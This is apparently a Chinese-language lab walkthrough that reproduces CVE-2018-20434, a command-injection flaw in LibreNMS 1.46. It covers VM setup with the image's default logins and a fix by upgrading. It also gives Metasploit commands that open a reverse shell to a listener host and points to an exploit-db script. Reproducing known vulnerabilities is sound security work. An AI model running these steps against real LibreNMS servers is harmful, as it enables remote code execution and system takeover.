0X1 漏洞概述
LibreNMS是一款基于PHP/MySQL/SNMP的自动发现的网络监控系统,其中包括对广泛的网络硬件和操作系统的支持,包括Cisco,Linux,FreeBSD,Juniper,Brocade,Foundry,HP等。
最近在复现其最新的漏洞的时候,顺带着复现其中之前的一个漏洞编号为CVE-2018-20434的漏洞。
漏洞触发在LibreNMS 1.46及之前版本中的capture.inc.php文件,文件所在位置:
/opt/librenms/html/includes/output/capture.inc.php
通过在添加新设备时在public community参数中添加任意命令来触发利用,该命令会将未处理的请求发送到"addhost.inc.php"文件,因此,对注入的请求执行的任何系统执行都将导致远程执行代码。调用"capture.inc.php"将通过"popen"方法授予我们该行为,但是您可以通过请求以[file_name] .inc.php为参数的"ajax_output.php"来访问它。
漏洞分析具体详情可以参考如下翻译文章和原文
https://www.anquanke.com/post/id/16929
https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/
0X2 环境搭建
漏洞虚拟机环境下载地址
https://github.com/librenms/packer-builds/releases/tag/1.46
或者
链接:https://pan.baidu.com/s/1bKMZuMa7crCf81wz2uSsAA 提取码:vvtr
下载librenms-ubuntu-18.04-amd64.ova文件
下载完成之后,使用虚拟机软件打开即可。由于是第一次打开,一直没有获取到IP地址,经过分析发现是网口名称和配置文件中的网口名称不一致,所以需要修改一下网络配置文件,两个名称保持一致即可。
然后重启一下系统即可获取到IP地址。
使用浏览器访问80端口即可到登录页面
http://192.168.0.107/login
官网的虚拟机默认口令信息如下
SSH
用户名:librenms
密码:CDne3fwdfds
MySQL/MariaDB
用户名:librenms
密码:D42nf23rewD
WebUI
用户名:librenms
密码:D32fwefwef
使用WebUI账户登录即可
即可看到我们当前的系统环境信息。
0X3 漏洞利用
方法1:
漏洞利用脚本已经在metasploit中集成,可以使用如下脚本进行攻击
use exploit/linux/http/librenms_addhost_cmd_inject
设置参数
set rhosts 192.168.0.107
set username librenms
set password D32fwefwef
set lhost 192.168.0.105
然后输入run命令利用
即可成功拿到shell。
但是这样的方式需要账户信息,条件比较苛刻。
方法2:
下载漏洞利用的py脚本
https://www.exploit-db.com/exploits/47044
利用过程参数需要cookie,浏览器抓包得到cookie信息
http://ip/devices/device=2/tab=capture/
然后作为参数带入:
kali中监听得到反弹的shell
即可利用成功!
0X4 漏洞修复
升级到最新的1.55版本即可
0X5 参考链接
https://docs.librenms.org/Installation/Images/
https://github.com/librenms/packer-builds/releases/tag/1.46
https://github.com/rapid7/metasploit-framework/blob/9edf92434cabbce83414204c30acdc8d6cda675f/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md